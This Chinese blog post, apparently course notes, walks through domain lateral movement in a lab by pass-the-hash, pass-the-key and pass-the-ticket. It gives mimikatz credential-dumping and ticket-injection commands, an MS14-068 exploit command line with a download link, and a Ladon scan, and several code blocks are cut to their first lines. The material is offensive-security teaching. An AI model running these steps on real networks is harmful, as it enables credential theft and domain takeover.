域横向PTH&PTK&PTT哈希票据传递

域横向PTH&PTK&PTT哈希票据传递
Yatming的博客- PTH (pass the hash) 利用lm或者ntlm的值进行的渗透测试
- PTT (pass the ticket) 利用的票据凭证TGT进行的渗透测试
- PTK (pass the key) 利用的ekeys aes256进行的渗透测试
- PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash远程访问主机或者服务,而不提供明文密码。
- 如果禁用了ntlm认证,PsExec工具无法利用获得的ntlm hash进行远程连接,但是使用mimikatz工具还是可以攻击成功。
- 对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击。
KB2871997补丁后的影响
1 | pth:没打补丁用户都可以连接,打了补丁只能administrator连接 |
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
- MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
- 其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术(不属于本课内容,以后会讲)
- MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780。
- 补充-Kerberos协议具体工作方法,在域中,简要介绍一下:
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
- 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
- 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
这个功能有点像web中的cookie这个参数的功能
查看是否打了补丁,使用systeminfo
进行查看
域横向移动PTH传递-Mimikatz
1 | PTH ntlm传递 - 未打补丁下的工作组及域连接: |
首先获取信息:
1 | privilege::debug |
当获取到域内一个主机的权限之后,可以使用mimikatz运行sekurlsa::logonPasswords命令获取其LM和NTLM
- 注意:Windows系统LM Hash及NTLM Hash加密算法,个人系统在Windows vista后,服务器系统在Windows 2003以后,认证方式均为NTLM Hash。由于目前大部分主机系统都很新,所以一般我们收集的都是NTLM数据,但是也不排除内网中有老系统,所以在信息收集的时候,最好LM和NTLM都收集一下。
当收集到NTLM数据后,很有可能内网中有其他主机的NTLM值与我们收集到的一致。此时我们就可以使用NTLM进行内网横向渗透
1 | #运行以下命令,域横向移动PTH传递,攻击未打补丁下域内主机,其中afffeba176210fad4628f0524bfe1942是前期信息收集时收集到的NTLM值 |
弹出一个新的cmd框,在弹出框内尝试dir <域内IP>c$命令,遍历域内IP,尝试连接域内其他主机,只要弹出框,就说明一定有一个域内主机与我们收集到的NTLM值相同。由于我们是为了测试,所以刚才使用的是域控的NTLM值ccef208c6485269c20db2cad21734fe7,所以如下图所示,正好连接域控,接下来我们就可以进行复制文件、执行文件等操作了
这时候就说明:192.168.70.134
这台主机使用NTLM值和我们相同
域横向移动PTK传递-mimikatz
1 | PTK aes256传递 - 打补丁后的工作组及域连接: |
运行以下命令,进行域横向移动PTK传递
1 | sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b |
- 在实际上,PTK传递比PTH传递用的少,因为PTK传递需要一个前提条件,主机必须打了补丁kb2871997
域横向移动PTT传递-ms14068&kekeo&本地
ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据
- ms14068,powershell执行,能实现普通用户直接获取域控system权限
- MS14-068下载:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
1 | 1.查看当前sid |
- whoami/user 查看当前sid
清除凭据:
- 利用ms14-068生成TGT数据
1 | .\ms14-068.exe -u zhangsan@xiaodi.com -s S-1-5-21-4170874114-809557180-1141564626-1110 -d 192.168.70.134 -p 123.com |
- 将票据注入到内存中
1 | ./mimikatz.exe |
不好意思,复制少了一点:
查看凭证列表。klist 查看一下,注入成功
利用
1 | dir \\192.168.70.134\c$ |
这里需要使用域名进行操作,但是不论是ip还是域名,我这里都报错了
第二种利用工具 kekeo(原理还是类似)
1 | 1.生成票据 |
我这里依然找不到路径
本地
- 因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗。
- 缺点:票据是有有效期的,一般为10小时,所以如果当前主机10h之内连接过域控的话,我们可以利用该票据,但是如果超过10h,就没法利用了。
1 | sekurlsa::tickets /export //导出本地票据(需管理权限) |
- 导出本地票据(需管理权限)到当前目录
1 | sekurlsa::tickets /export |
- 此时klist查看票据为空
- 导入票据
1 | kerberos::ptt xxxxxxxxxx.xxxx.kirbi //导入票据 |
- 利用
1 | dir \\OWA2010CN-God.god.org\c$ //利用 |
国产Ladon内网杀器测试验收
- 信息收集-协议扫描-漏洞探针-传递攻击等
- http://k8gege.org/Ladon/
解压密码:k8gege.org
1 | Ladon.exe 192.168.70.0/24 OnlinePC 扫当前机器所处C段的存活主机,其它模块同理 |
没扫出什么..
评论
匿名评论隐私政策
✅ 你无需删除空行,直接评论以获取最佳展示效果